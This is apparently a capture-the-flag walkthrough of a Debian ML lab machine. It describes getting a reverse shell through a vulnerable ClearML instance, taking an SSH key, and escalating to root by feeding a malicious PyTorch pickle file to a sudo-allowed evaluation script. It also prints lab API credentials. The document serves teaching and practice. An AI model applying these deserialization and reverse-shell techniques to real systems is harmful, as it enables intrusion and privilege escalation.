This is a Debian 11 machine dedicated to train and deploy ML and LLM models. It runs a vulnerable version of CleanML which can be exploited to get an initial user shell. Regarding escalation, we abuse the deserialization feature of the Python PyTorch machine learning library.
Add to hosts file and enumerate the site with Firefox. A ClearML web site appears, according to the developers site, this is "a platform to build, train, and deploy your AI/ML and LLM models".
In CleanML, open one the project "Black Swan" and click on "New experiment". You are presented instructions to configure a local clearml client.
Follow the instructions, first install clearml client.
> pip install clearml
Then run the configuration script clearml-init and paste the API configuration.
> /home/kali/.local/bin/clearml-initClearMLSDKsetupprocessPleasecreatenewclearmlcredentialsthroughthesettingspageinyour`clearml-server`webapp (e.g. http://localhost:8080//settings/workspace-configuration)Orcreateafreeaccountathttps://app.clear.ml/settings/workspace-configurationInsettingspage,press"Create new credentials",thenpress"Copy to clipboard".Pastecopiedconfigurationhere:api{web_server:http://app.blurry.htbapi_server:http://api.blurry.htbfiles_server:http://files.blurry.htbcredentials{"access_key"="HWX9ONLPLTODL5NZ2DEO""secret_key"="FdPvJ2fwfRYcqXs4CmQPAddC7RSuFFajPTsd1E7BXUgIlLXDJg" }}Detectedcredentialskey="HWX9ONLPLTODL5NZ2DEO"secret="FdPv***"ClearMLHostsconfiguration:WebApp:http://app.blurry.htbAPI:http://api.blurry.htbFileStore:http://files.blurry.htbVerifyingcredentials...Credentialsverified!Newconfigurationstoredin/home/kali/clearml.confClearMLsetupcompletedsuccessfully.
Now start a listener and run the exploit.py from the GitHub repository. Enter option 2 ("Run exploit"), then enter your IP and the listener port. Finally enter the project name, which is the one you used to create the experiment ("Black Swan" in this case).
Shortly after, a reverse shell for user jippity is received on port 1919.
To stabilize this shell we move to ~/.ssh folder and retrieve a private key, then use it to open an SSH session as user jippity
Which can be used to retrieve the user flag.
ROOT
Start from the jippity SSH session and take the opportunity to enumerate the user and the system.
Basically, the user is allowed to run /usr/bin/evaluate_model as root with the .pth files located in the /models directory. No password will be prompted.
Enumerate the script /usr/bin/evaluate_model
#!/bin/bash# Evaluate a given model against our proprietary dataset.# Security checks against model file included.if [ "$#"-ne1 ]; then/usr/bin/echo"Usage: $0 <path_to_model.pth>"exit1fiMODEL_FILE="$1"TEMP_DIR="/opt/temp"PYTHON_SCRIPT="/models/evaluate_model.py"/usr/bin/mkdir-p"$TEMP_DIR"file_type=$(/usr/bin/file--brief"$MODEL_FILE")# Extract based on file typeif [[ "$file_type"==*"POSIX tar archive"* ]]; then# POSIX tar archive (older PyTorch format)/usr/bin/tar-xf"$MODEL_FILE"-C"$TEMP_DIR"elif [[ "$file_type"==*"Zip archive data"* ]]; then# Zip archive (newer PyTorch format)/usr/bin/unzip-q"$MODEL_FILE"-d"$TEMP_DIR"else/usr/bin/echo"[!] Unknown or unsupported file format for $MODEL_FILE"exit2fi/usr/bin/find"$TEMP_DIR"-typef \( -name"*.pkl"-o-name"pickle" \) -print0|while IFS=read-r-d$'\0'extracted_pkl; do fickling_output=$(/usr/local/bin/fickling-s--json-output/dev/fd/1"$extracted_pkl")if/usr/bin/echo"$fickling_output"|/usr/bin/jq-e'select(.severity == "OVERTLY_MALICIOUS")'>/dev/null; then/usr/bin/echo"[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."/bin/rm"$MODEL_FILE"breakfidone/usr/bin/find"$TEMP_DIR"-typef-exec/bin/rm{}+/bin/rm-rf"$TEMP_DIR"if [ -f"$MODEL_FILE" ]; then/usr/bin/echo"[+] Model $MODEL_FILE is considered safe. Processing..."/usr/bin/python3"$PYTHON_SCRIPT""$MODEL_FILE"fi
We see the script checks input file (which is called "model file"), extracts it and run binary /usr/local/bin/fickling on it. Other interesting things mentioned are a library called PyTorch and a Python script located /models/evaluate_model.py
Enumerate the Python script.
import torchimport torch.nn as nnfrom torchvision import transformsfrom torchvision.datasets import CIFAR10from torch.utils.data import DataLoader, Subsetimport numpy as npimport sysclassCustomCNN(nn.Module):def__init__(self):super(CustomCNN, self).__init__() self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1) self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1) self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0) self.fc1 = nn.Linear(in_features=32*8*8, out_features=128) self.fc2 = nn.Linear(in_features=128, out_features=10) self.relu = nn.ReLU()defforward(self,x): x = self.pool(self.relu(self.conv1(x))) x = self.pool(self.relu(self.conv2(x))) x = x.view(-1, 32*8*8) x = self.relu(self.fc1(x)) x = self.fc2(x)return xdefload_model(model_path): model =CustomCNN() state_dict = torch.load(model_path) model.load_state_dict(state_dict) model.eval()return modeldefprepare_dataloader(batch_size=32): transform = transforms.Compose([ transforms.RandomHorizontalFlip(), transforms.RandomCrop(32, padding=4), transforms.ToTensor(), transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]), ]) dataset =CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform) subset =Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False)) dataloader =DataLoader(subset, batch_size=batch_size, shuffle=False)return dataloaderdefevaluate_model(model,dataloader): correct =0 total =0with torch.no_grad():for images, labels in dataloader: outputs =model(images) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted == labels).sum().item() accuracy =100* correct / totalprint(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')defmain(model_path): model =load_model(model_path)print("[+] Loaded Model.") dataloader =prepare_dataloader()print("[+] Dataloader ready. Evaluating model...")evaluate_model(model, dataloader)if__name__=="__main__":iflen(sys.argv)<2:print("Usage: python script.py <path_to_model.pth>")else: model_path = sys.argv[1]# Path to the .pth filemain(model_path)
Here we see more references to a library called torch, and a call to the function torch.load(model_path), which is executed on the input file (the "model file").
Now it is time to make some research on the things we have discovered. Long story short:
PyTorch is an open-source machine learning library for Python based on the torch library. When needed, it stores serialized data as .pth files. It uses the functions torch.save() for serializing and torch.load() for deserializing (https://medium.com/@yulin_li/what-exactly-is-the-pth-file-9a487044a36b).
PyTorch functions rely on the Python pickle module, which is who actually implements the binaries for serializing and deserializing data (https://docs.python.org/3/library/pickle.html).
In summary, custom pickling and unpickling code can be used with a method called __reduce__. I took the script published in the mentioned site and, after some modifications and testing, I found a workable malicious script.
The script was modified to add a call to torch.save() to serialize the data, and get rid of the pickle.dumps() function.
Save the script as ~/exploit.py and execute it to generate the serialized malicious model file exploit.pth
> python3 ~/exploit.py
Now we have a malicious serialized payload in /models/exploit.pth. Start a listener and run it with sudo
> sudo /usr/bin/evaluate_model /models/exploit.pth[+] Model /models/exploit.pth is considered safe. Processing...rm:cannotremove'/tmp/f':Nosuchfileordirectory